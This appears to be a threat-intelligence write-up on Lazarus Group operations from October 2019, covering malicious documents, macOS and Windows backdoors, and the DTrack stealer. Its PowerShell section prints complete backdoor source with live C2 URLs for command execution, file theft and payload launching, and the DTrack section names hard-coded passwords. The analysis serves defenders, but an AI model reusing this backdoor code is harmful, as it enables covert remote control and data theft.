ch0ic3/CyberThreatIntel
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
8326d5c9be
CyberThreatIntel/North Korea/APT/Lazarus/23-10-19/analysis.md
StrangerealIntel 8326d5c9be
Update analysis.md
2019-11-11 00:37:37 +01:00

51 KiB
Raw Blame History

A Look into the Lazarus Group's Operations in October 2019

Table of Contents

Malware analysis

The next analysis try to kept the recents events and a logicial improvement and technics of the group, this can go back in the past for compare it.

CES 2020 incident (NukeSped)

We can see that the document target specifily the south korean exhibitors with the follow tittle "Application form for American Las Vegas CES 2020"

This initial vector of the infection begin by a current exploit in HWP (CVE-2015-6585) to execute an EPS script, this download and execute the next stage of the infection.

This execute fisrtly a common trick RtlCaptureContext for have ability to register a top-level exception handler and avoid debbuging.

Once this done, the malware execute a series of actions like list the disks, process, files and push it in differents files as temp file in waiting to send the data to C2.

The RAT push the cookie settings and guid for the identification in the C2.

This push the list of C2 address to contact, the languages to understand and begin the contact with the C2 in giving the host info.

List of the languages used :
RFC4646/ISO 639 Ref Lang
Az-Arab Azerbaijani in Arabic script
de-CH Swiss German
en-US English as used in the United States
Interesting to see that not only south korea language is choisen and show that the group target all exhibitors (more a hundred exhibitors only for South Korea). This think possibly that the group manage the event give hardware specifily for the shows to the customers, that explains why this to don't include specific language like South Korea. If the target is interesting for the group, this can execute command and others tools in the computer infected.
We can see in the list of all the domains used that this all as different cloud providers and are legit website hijacked by vulnerable wordpress.
IP ASN Organization Route City Coordinates Country
64.151.229.52 AS26753 In2net Network Inc. 64.151.192.0/18 Toronto 43.6861,-79.4025 Canada
185.136.207.217 AS203377 LAB internet ve Bilisim Hizmetleri 185.136.207.0/24 Eskiehir 39.7767,30.5206 Turkey
83.169.17.240 AS8972 Europe GmbH 83.169.16.0/21 Köln 50.9541,6.9103 Germany
We can confirmed it by the Whois records and by the certificats push on the websites know at all the sites have between up early August 2019 at September 2019.

HAL incident (JakyllHyde)

The document specifically target the Hindustan Aeronautics Limited company (HAL) that the national aeronautics in India. This use false announcements for recruitment for target probably interesting profile or internal employees in asking for their opinion about announcements.

The attack vector is an maldoc which use a macro for drop and execute the implant. The first bloc is a declaration of function for load the future extracted dll.

The next bloc have multiple functions like decode from the base 64 in binary and string, verify the path of folder/file, create a folder and extract the correct payload from the form in maldoc according to the OS.

The following bloc have extraction functions (drop the lure) and for get the name of the lure and the dll.

We can see the autoopen function for execute the macro at the opening of the document and the data of the malware in base 64.

The macro used is one of macros avalaible in the open source github tool "Macro_pack".
The backdoor begins to do the reconnaissance actions like list the process,system informations(Username, ComputerName ...)

After this list all the disks on the computer and all the files in current working directories in waiting the order of the C2.

This have the possibility to intercepts keystrokes (push it in temporary file), make screenshots, send interesting files by stream of bytes data.

If the attacker wants this can push and remove the persistence performed by a Startup key.

The backdoor contact the following IP :
IP ASN Organization Route City Coordinates Country
193.70.64.163 AS16276 thetiscloud.it 193.70.0.0/17 San Donato Milanese 45.4105,9.2684 Italy
By the certificates, we can see that the website is up since 2018, seems be a legit website hijacked.

Like the last incident, Lazarus group try to get high technologies, this possible that the interest is the fact that HAL is in cooperation for product and use the new french militairy aircraft (Rafale) in the India country.

OSX Malwares (OSX.Yort)

The initial vector of the infection is a maldoc with a VBA macro, this have two sections one for infected MacOSX and one for Windows. We can see the declaration of the functions for MacOSX and one of four splitted functions for get the payload on the Windows version

Here, we can observe the initiation of the payloads according with the OS in the AutoOpen (Run a macro when Excel or Word document is open).

The backdoor consists of a single loop which load the configuration and create a session for waiting the orders of the C2. The configuration can be update and the malware can be sleep for a delay given by the C2.

Many functions for send and get data are derived of a common based code with a specific action as perform at the final.

Foreach, this initiate and push the paramerters for communicate with the C2.

This can reply to the C2 like a pulse for alert at is still up (ReplyDie), download a file (ReplyDown), download and execute a file (ReplyExec), execute a command (Replycmd) or open another CLI (ReplyOtherShellCmd).

We can see on the data pushed on the C2 that a xor is performed with the ```"0xAA"``` value.

The malware don't have a persistence but by the fact that can execute command, the attacker can decide push a persistence if this neccessary, a function is performed when the attack close the session for return that the backdoor is correctly closed.

This according with the Kaspersky analysis of Yort on the functions of the backdoor:
  • Set sleep time (delay between C2 interactions)
  • Exit session
  • Collect basic host information
  • Check malware status
  • Show current malware configuration
  • Update malware configuratiov
  • Execute system shell command
  • Download & Upload files
Another sample of Yort have been spotted with a reedited installer of Flash Player, on the strings, we can observed that is the version 10.2 that is rebuilded.

We can see in the main function that install the legit Flash player, the checker software for update for avoid to become suspicious to the user and launch the backdoor.

This loading the configuration and options of the Yort, the rest is the same that the previous sample of Yort.

Powershell Backdoor (PowerShell/NukeSped)

Now, see the Windows version, this use Powershell language for the backdoor, the first bloc of the malware is the global values for the configuration, list of URL to contact and control values.
$global:breakvalue=1
$global:mbz=132608
$global:tid=0
$global:url="https://crabbedly.club/board.php","https://craypot.live/board.php","https://indagator.club/board.php"
$global:nup=0
$global:nwct=0
The backdoor execute a while loop until that the order to destroy the session push to the value of the variable "breakvalue" at 0.
function main()
{
	$global:tid=Get-Random -Minimum 128 -Maximum 16383
	while($global:breakvalue)
	{
		Try
		{
			if($global:nwct -gt 0){$global:nwct=$global:nwct- 1}
			if($global:nwct -le 0){ if (PulsetoC2(16) -eq $true){Start-Sleep -s 4; command($global:url[$global:nup])} }
		}
		Catch{}
		if($global:breakvalue -ne 1){break}
		Start-Sleep -s 60
	}
}
try{Remove-Item -Path $MyInvocation.MyCommand.Source}catch{}
main
In function of the result of the id push by the C2, this execute the following actions in the infected computer.
function command($url)
{
	try
	{
		while($global:breakvalue)
		{
			$rq=PushDatatoC2 $global:tid 22 $null 0 $global:url[$global:nup]
			if($rq -eq $null){break}
			$basefunctions=DecryptC2Data $rq $global:mbz
			if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){break}
			$nmsg=ConverttoInt32 $basefunctions 0
			$nmlen=ConverttoInt32 $basefunctions 8
			if($basefunctions.length -ne ($nmlen+12)){break}
			$cres=0
			if($nmsg -eq 2){$cres=slp $basefunctions}
			elseif($nmsg -eq 3){$cres=diconnect}
			elseif($nmsg -eq 11){$cres=Set-SysInfo}
			elseif($nmsg -eq 12){$cres=kalv}
			elseif($nmsg -eq 14){$cres=Get-actions}
			elseif($nmsg -eq 15){$cres=Set-actions $basefunctions}
			elseif($nmsg -eq 18){$cres=Set-command $basefunctions}
			elseif($nmsg -eq 20){$cres=upload $basefunctions}
			elseif($nmsg -eq 21){$cres=download $basefunctions}
			elseif($nmsg -eq 24){$cres=launch_process $basefunctions}
			else{break}
			if($cres -eq 0){break}
			Start-Sleep -s 1
		}
		Start-Sleep -s 4
		if(PulsetoC2(17) -eq $true){}
	}
	catch{}
}
The next bloc content the functions for copy the bytes and convert from different encoding the data.
function CopyBytes($DatatoCopy,$dst,$dstOffset)
{
	$Bytes=[System.BitConverter]::GetBytes($DatatoCopy)
	return [System.Buffer]::BlockCopy($Bytes,0,$dst,$dstOffset,$Bytes.length)
}
function CopyBytes_UTF8($DatatoCopy,$dst,$dstOffset)
{
	$Bytes=[System.Text.ASCIIEncoding]::UTF8.GetBytes($DatatoCopy)
	return [System.Buffer]::BlockCopy($Bytes,0,$dst,$dstOffset,$Bytes.length)
}
function ConverttoInt32($buffer,$Offset){ return [System.BitConverter]::ToInt32($buffer,$Offset) }
function Get_UTF8Bytes($Data){ return [System.Text.ASCIIEncoding]::UTF8.GetBytes($Data) }
The following functions are for send and get the data from the C2. We can note that the user agent is the same that the MacOS backdoor.
function senddata($tid,$rid,$array_data,$DatatoC2_Length,$url)
{
	try
	{
		if($array_data -eq $null){$array_data=New-Object byte[] 0}
		$ID=-join((48..57)|Get-Random -Count 12|%{[char]$_}) #10 random numbers
		$filename=-join((48..57)|Get-Random -Count 12|%{[char]$_})+".dat" # LIKE 5216804379.dat by example
		$date_msg="--" + (Get-Date -Format yyyy-MM-dd-hh-mm-ss-fffffff) + "--"
		$netobject=[System.Net.WebRequest]::create($url + "?v=" + $ID)
		$netobject.Method="POST"
		$netobject.ContentType="multipart/form-data; boundary=$date_msg"
		$netobject.TimeOut=120000
		$netobject.ReadWriteTimeout=120000
		$netobject.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
		$pbdy=Get_UTF8Bytes("`r`n`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"_webident_f`"`r`n`r`n" + $tid + "`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"_webident_s`"`r`n`r`n" + $rid + "`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"file`"; filename=`"" + $filename + "`"`r`nContent-Type: octet-stream`r`n`r`n")
		$ebdy=Get_UTF8Bytes("`r`n--" + $date_msg + "`r`n")
		$netobject.ContentLength=$pbdy.Length + $DatatoC2_Length + $ebdy.Length;
		$StreamObject=$netobject.GetRequestStream()
		$StreamObject.Write($pbdy,0,$pbdy.Length)
		$StreamObject.Flush()
		if($DatatoC2_Length -gt 0)
		{
			$StreamObject.Write($array_data,0,$DatatoC2_Length)
			$StreamObject.Flush()
		}
		$StreamObject.Write($ebdy,0,$ebdy.Length)
		$StreamObject.Flush()
		$StreamObject.Close()
		return $netobject
	}
	catch{return $null}
}
function GetResponseC2($netobject,$mxz)
{
	try
	{
		$response=$netobject.GetResponse()
		if($response.StatusCode -eq "OK")
		{
			$stream=$response.GetResponseStream()
			$byteobject=New-Object byte[] $mxz
			$val=0
			$response_length=$byteobject.Length
			if($response_length -gt $response.ContentLength){$response_length=$response.ContentLength}
			while($val -lt $response_length)
			{
			$dataread=$stream.Read($byteobject,$val,$response_length-$val)
			if($dataread -le 0){break}
			$val=$val+$dataread
			}
			if($val -ne 0)
			{
				if($val -eq 1){$byteobject2=New-Object byte[] 2}
				else
				{
					$byteobject2=New-Object byte[] $val}
					[System.Buffer]::BlockCopy($byteobject,0,$byteobject2,0,$val)
			}
			else{$byteobject2=New-Object byte[] 2}
			$response.Close()
			$r.Close()
			$r.Dispose()
			return $byteobject2
		}
		else{return $null} 
	}
	catch{return $null}
}
The both next functions use the same XOR value "0xAA" for encryt and decrypt data from the C2. We can note again that the same XOR value that in the MacOS backdoor.
function PushDatatoC2($tid,$rid,$bd,$DatatoC2_Length,$url)
{
	if($DatatoC2_Length -gt 0){ for($i=0;$i -lt $DatatoC2_Length; $i++){$bd[$i]=$bd[$i] -bxor 0xAA} }
	return senddata $tid $rid $bd $DatatoC2_Length $url
}
function DecryptC2Data($netobject,$mxz)
{
	$DataC2=GetResponseC2 $netobject $mxz
	if($DataC2 -ne $null){for($i=0; $i -lt $DataC2.length; $i++){ $DataC2[$i] = $DataC2[$i] -bxor 0xAA }}
	return $DataC2
}
Like the MacOS backdoor, we observe that the back have multiple mods for communicate with the C2 and depends of the initial reply of the C2.
function updatemod1()
{
	$trigger=0
	do
	{
		$byteobject=New-Object byte[] 12
		CopyBytes 5 $byteobject 0
		CopyBytes 0 $byteobject 4
		CopyBytes 0 $byteobject 8
		$response=PushDatatoC2 $global:tid 21 $byteobject $byteobject.Length $global:url[$global:nup]
		if($response -eq $null){break}
		$byteobject=DecryptC2Data $response $global:mbz
		if(($byteobject -eq $null) -or ($byteobject.length -ne 2)){break}
		$trigger=1
	}while($false)
	return $trigger
}
function updatemod2()
{
	$trigger=0
	do
	{

		$byteobject=New-Object byte[] 16
		CopyBytes 4 $byteobject 0
		CopyBytes 0 $byteobject 4
		CopyBytes 4 $byteobject 8
		CopyBytes 0 $byteobject 12
		$rq=PushDatatoC2 $global:tid 21 $byteobject $byteobject.Length $global:url[$global:nup]
		if($rq -eq $null){break}
		$byteobject=DecryptC2Data $rq $global:mbz
		if(($byteobject -eq $null) -or ($byteobject.length -ne 2)){break}
		$trigger=1
	} while($false)
	return $trigger
}
function updatemod3($nmsg)
{
	$trigger=0
	do
	{

		$byteobject=New-Object byte[] 12
		CopyBytes $nmsg $byteobject 0
		CopyBytes 0 $byteobject 4
		CopyBytes 0 $byteobject 8
		$rq=PushDatatoC2 $global:tid 20 $byteobject $byteobject.Length $global:url[$global:nup]
		if($rq -eq $null){break}
		$byteobject=DecryptC2Data $rq $global:mbz
		if(($byteobject -eq $null) -or ($byteobject.length -lt 12)){break}
		$nmsg=ConverttoInt32 $byteobject 0
		$nmlen=ConverttoInt32 $byteobject 8
		if($byteobject.length -ne ($nmlen+12)){break}
		if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
		$trigger=1
	} while($false)
	return $trigger
}
This have the possiblity to set in standby the backdoor, close the current session and get the system informations.
function slp($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		if($nmlen -ne 4){break}
		$global:nwct=ConverttoInt32 $buf 12
		$trigger=updatemod1
		$trigger=0
	} while($false)
	return $trigger
}
function disconnect()
{
	$trigger=0
	do
	{
		$trigger=updatemod1
		if($trigger -eq 0){break}
		$trigger=1
		$global:breakvalue=0
	} while($false)
	return $trigger
}
function Set-SysInfo()
{
	$trigger=0
	do
	{
		$hostnamename=$env:COMPUTERNAME
		$ip=(Test-Connection -ComputerName $hostname -Count 1  | Select -ExpandProperty IPV4Address).Address
		$OS=[System.Environment]::OSVersion.Version
		$OS_major=$OS.major
		$OS_minor=$OS.minor
		$byteobject=New-Object byte[] 300
		CopyBytes 11 $byteobject 0
		CopyBytes 0 $byteobject 4
		CopyBytes 288 $byteobject 8
		CopyBytes_UTF8 $hostname $byteobject 12
		CopyBytes $ip $byteobject 272
		CopyBytes 1 $byteobject 276
		CopyBytes $OS_major $byteobject 280
		CopyBytes $OS_minor $byteobject 284
		CopyBytes 3 $byteobject 288
		CopyBytes 0 $byteobject 292
		CopyBytes 6 $byteobject 296
		$rq=PushDatatoC2 $global:tid 20 $byteobject $byteobject.Length $global:url[$global:nup]
		if($rq -eq $null){break}
		$byteobject=DecryptC2Data $rq $global:mbz
		if(($byteobject -eq $null) -or ($byteobject.length -lt 12)){break}
		$nmsg=ConverttoInt32 $byteobject 0
		$nmlen=ConverttoInt32 $byteobject 8
		if($byteobject.length -ne ($nmlen+12)){break}
		if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
		$trigger=1
	} while($false)
	return $trigger
}
This can get the actions and push the actions to do on the system.

function Get-actions()
{
	$trigger=0
	do
	{
		$nmsg=14
		$nrsv=0
		$nmlen=2152
		$basefunctions=New-Object byte[] 2164
		CopyBytes $nmsg $basefunctions 0
		CopyBytes $nrsv $basefunctions 4
		CopyBytes $nmlen $basefunctions 8
		for($i=0;$i -lt $global:url.length;$i++){CopyBytes_UTF8 $global:url[$i] $basefunctions (84+260*$i)}
		$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
		if($rq -eq $null){break}
		$basefunctions=DecryptC2Data $rq $global:mbz
		if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){break}
		$nmsg=ConverttoInt32 $basefunctions 0
		$nmlen=ConverttoInt32 $basefunctions 8
		if($basefunctions.length -ne ($nmlen+12)){break}
		if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
		$trigger=1
	} while($false)
	return $trigger
}
function Set-actions($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		if($nmlen -ne 2152){break}
		for($i=0;$i -lt $global:url.length;$i++)
		{
			$js=0
			for($js=0;$js -lt 260;$js++){if($buf[(84+260*$i)+$js] -eq 0){break}}
			$global:url[$i] = [System.Text.ASCIIEncoding]::UTF8.GetString($buf, (84+260*$i), $js)
		}
		$trigger=updatemod1
		if($trigger -eq 0){break}
		$trigger=1
	} while($false)
	return $trigger
}
The attacker can perform a specific action in another CLI.
function Set-command($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		$arg=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
		$path=[System.IO.Path]::GetTempFileName()
		$process = New-Object System.Diagnostics.Process
		$pif = New-Object System.Diagnostics.ProcessStartInfo
		$pif.FileName="cmd.exe"
		$pif.CreateNoWindow=$true;
		$pif.WindowStyle="Hidden";
		$pif.Arguments="/c "+$arg+" >"+$path+" 2>&1"
		$process.StartInfo=$pif
		$process.Start() | Out-Null
		$srs=""
		$count=0
	while ($process.HasExited -eq $false)
	{
		if($count -gt 24){break}
		$count=$count+1
		Start-Sleep -s 1
	}
	if([System.IO.File]::Exists($path))
	{
		try
		{
            $content=Get-Content -Path $path; 
            Remove-Item -Path $path;
			if($content.GetType().FullName -eq "System.Object[]")
			{
				for($i=0;$i -lt $content.Length; $i++){$srs=$srs+$content[$i]+"`r`n"}
			}
			else{$srs=$content}
		}
		catch{$srs=""}
	}
	$srsb=Get_UTF8Bytes($srs)
	$trigger= updatemod3 5
	if($trigger -eq 0){break}
	$srsb=Get_UTF8Bytes($srs)
	$ncr=0
	$trigger=1
	while($ncr -lt $srsb.length)
	{
		$ncrs=1024*100
		if($ncrs -gt ($srsb.length-$ncr)){$ncrs=($srsb.length-$ncr)}
		$nmlen=$ncrs
		$basefunctions=New-Object byte[] (12+$ncrs)
		CopyBytes 16 $basefunctions 0
		CopyBytes 0 $basefunctions 4
		CopyBytes $nmlen $basefunctions 8
		for($i=0;$i -lt $ncrs;$i++){$basefunctions[12+$i]=$srsb[$ncr+$i]}
		$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
		if($rq -eq $null){$trigger=0;break}
		$basefunctions=DecryptC2Data $rq $global:mbz
		if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
		$nmsg=ConverttoInt32 $basefunctions 0
		$nmlen=ConverttoInt32 $basefunctions 8
		if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
		if(($nmlen -ne 0) -or ($nmsg -ne 5)){$trigger=0;break}
		$ncr=$ncr+$ncrs
		}
		if($trigger -eq 0){break}
		$trigger=updatemod3 17
		if($trigger -eq 0){break}
		$trigger=1
	}while($false)
	return $trigger
}
Finally, this can download and upload files on the C2, send a pulse to the C2, push a trigger and launch a new process ( like push an additionnal tool).
function upload($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		$path=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
		$fs=$null
		try{$fs=[System.IO.File]::Open($path, [System.IO.FileMode]::Append)}catch{$fs=$null}
		if($fs -eq $null){$trigger=updatemod2;}
		else
		{
			try
			{
				$fl=[int]$fs.length
				$nmsg=5
				$nrsv=0
				$nmlen=4
				$basefunctions=New-Object byte[] 16
				CopyBytes $nmsg $basefunctions 0
				CopyBytes $nrsv $basefunctions 4
				CopyBytes $nmlen $basefunctions 8
				CopyBytes $fl $basefunctions 12
				$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
				if($rq -eq $null){break}
				$basefunctions=DecryptC2Data $rq $global:mbz
				if(($basefunctions -eq $null) -or ($basefunctions.length -lt 24)){break}
				$nmsg=ConverttoInt32 $basefunctions 0
				$nmlen=ConverttoInt32 $basefunctions 8
				$rfl=ConverttoInt32 $basefunctions 12
				if($basefunctions.length -ne ($nmlen+12)){break}
				if(($nmlen -ne 12) -or ($nmsg -ne 5)){break}
				$trigger=updatemod1
				if($trigger -eq 0){break}
				$bed=0
				while($true)
				{
					$rq=PushDatatoC2 $global:tid 22 $null 0 $global:url[$global:nup]
					if($rq -eq $null){$trigger=0;break}
					$basefunctions=DecryptC2Data $rq $global:mbz
					if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
					$nmsg=ConverttoInt32 $basefunctions 0
					$nmlen=ConverttoInt32 $basefunctions 8
					if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
					$fs.Write($basefunctions,12,$nmlen)
					if($nmsg -eq 17){$bed=1}
					$trigger=updatemod1
					if($trigger -eq 0){break}
					if($bed -eq 1){break}
				}
				$fs.Close()
				if($trigger -eq 0){break}
			}
			catch{$fs.Close();break}
		}
		$trigger=1
	} while($false)
	return $trigger
}
function download($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		$path=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
		$fs=$null
		try{$fs=[System.IO.File]::OpenRead($path)}catch{$fs=$null}
		if($fs -eq $null){$trigger=updatemod2;}
	else
	{
		try
		{
			$fl=$fs.length
			$basefunctions=New-Object byte[] 24
			CopyBytes 5 $basefunctions 0
			CopyBytes 0 $basefunctions 4
			CopyBytes 12 $basefunctions 8
			CopyBytes $fl $basefunctions 12
			CopyBytes 0 $basefunctions 16
			CopyBytes 0 $basefunctions 20
			$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
			if($rq -eq $null){break}
			$basefunctions=DecryptC2Data $rq $global:mbz
			if(($basefunctions -eq $null) -or ($basefunctions.length -lt 16)){break}
			$nmsg=ConverttoInt32 $basefunctions 0
			$nmlen=ConverttoInt32 $basefunctions 8
			$rfl=ConverttoInt32 $basefunctions 12
			if($basefunctions.length -ne ($nmlen+12)){break}
			if(($nmlen -ne 4) -or ($nmsg -ne 5)){break}
			$trigger=1
			if($rfl -gt $fl){$rfl=$fl}
			$fs.Seek($rfl, [System.IO.SeekOrigin]::Begin)
			while($true)
			{
				$ncrs=1024*100
				$tbf=New-Object byte[] $ncrs
				$nr=$fs.Read($tbf, 0, $tbf.Length)
				if($nr -eq 0){break}
				$nmsg=16
				$nrsv=0
				$nmlen=$nr
				$basefunctions=New-Object byte[] (12+$nr)
				CopyBytes $nmsg $basefunctions 0
				CopyBytes $nrsv $basefunctions 4
				CopyBytes $nmlen $basefunctions 8
				for($i=0;$i -lt $nr;$i++){$basefunctions[12+$i]=$tbf[$i]}
				$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
				if($rq -eq $null){$trigger=0;break}
				$basefunctions=DecryptC2Data $rq $global:mbz
				if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
				$nmsg=ConverttoInt32 $basefunctions 0
				$nmlen=ConverttoInt32 $basefunctions 8
				if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
				if(($nmlen -ne 0) -or ($nmsg -ne 5)){$trigger=0;break}
			}
			$fs.close()
			if($trigger -eq 0){break}
			$trigger=updatemod3 17
			if($trigger -eq 0){break}
		}
		catch{$fs.Close();break}
	}
	$trigger=1
	} while($false)
	return $trigger
}
function kalv()
{
	$trigger=0
	do
	{
		$trigger=updatemod1
		if($trigger -eq 0){break}
		$trigger=1
	} while($false)
	return $trigger
}
function launch_process($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		$arg=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
		Start-Process $arg
		$trigger=updatemod1
		if($trigger -eq 0){break}
		$trigger=1
	} while($false)
	return $trigger
}
function PulsetoC2($rid)
{
	$trigger=$false
	if($rid -eq 16){$global:nup=($global:nup + 1) % $global:url.Length}
	$rq=senddata $global:tid $rid $null 0 $global:url[$global:nup]
	if($rq -ne $null)
	{
		$basefunctions=GetResponseC2 $rq $global:mbz
		if(($basefunctions.length -eq 2) -and ($basefunctions[0] -eq 49)){$trigger=$true}
	}
	return $trigger
}
As final, the both backdoor have the same functionalities and use the same common infrastructure for the both platforms targetted.
List of the domains contacted
Domain IP ASN Organization Route City Coordinates Country
crabbedly.club 37.72.175.226 AS29802 SWIFTWAY-CLIENT-NEW-YORK 37.72.174.0/23 New York City 40.7143,-74.0060 United States
craypot.live 23.227.199.96 AS35017 Swiftway Communications, Inc 23.227.192.0/21 Chicago 41.8500,-87.6500 United States
indagator.club 185.236.203.211 AS9009 M247 LTD Copenhagen Infrastructure 185.236.203.0/24 Ballerup 55.7317,12.3633 Denmark

Nuclear's plant incident (DTrack)

On the stings, we can observe a function timestamp who return a date of version, this is an of the sqllite version of the C librairies (3.21), this can be an reuse code of one of stealer of the group for a new stealer.

The malware pivoting in the infrastructure and get an elevation in the privileges by the remote access to administrative shares (C$) with a like a default password "abcd@123".

The sensitive operations to do on the computer have an indicative CCS_, this can be a code identifier for this custom payload of DTrack. CCS can be acronym Cabinet Committee on Security (CCS) of the Central Government of India.
Dtrack have the capacity to get the mac address and infos on the network card adapter.

As strealer, Dtrack can get the data of web broswer (Chrome and Firefox), this parsed the history, stored password and the URL. URl is interesting due to many company push in the deploiement in the new computer in the domain, the intranet links, adminstrative links or links to console like SCADA, it's a good method for environmental recognition.

Once this done, Dtrack list the disks and the files on the disks and write it in a local tmp file with the password dkwero38oerA^t@# , this password is common at all the operations of the lazarus group.

But the custom Dtrack malware don't perform logs and don't have a C2 URL to contact compared at the normal version, this is disable for more stealth. Here, an example on the difference between normal and custom DTrack reference.

This can give a problem with Yara Rule due to the strings are the same just the execution are disable. The fact that malware don't contact suggests that the other backdoor was already used to launch Dtrack and recover the data. It has been reported that North Korea's Kimsuky Group is attempting to develop a new design for the next generation of advanced heavy water reactors who burns thorium into the fuel core and they attacked many Indian nuclear physicists in this way.

For conclude North Korea, try to get avanced technologies in multiples sectors aeronautics, space, energetic, but also useful energetic independence in the current situation that could lead to an international blockade.

Cyber kill chain

The process graphs resume cyber kill chains used by the attacker in the differents incidents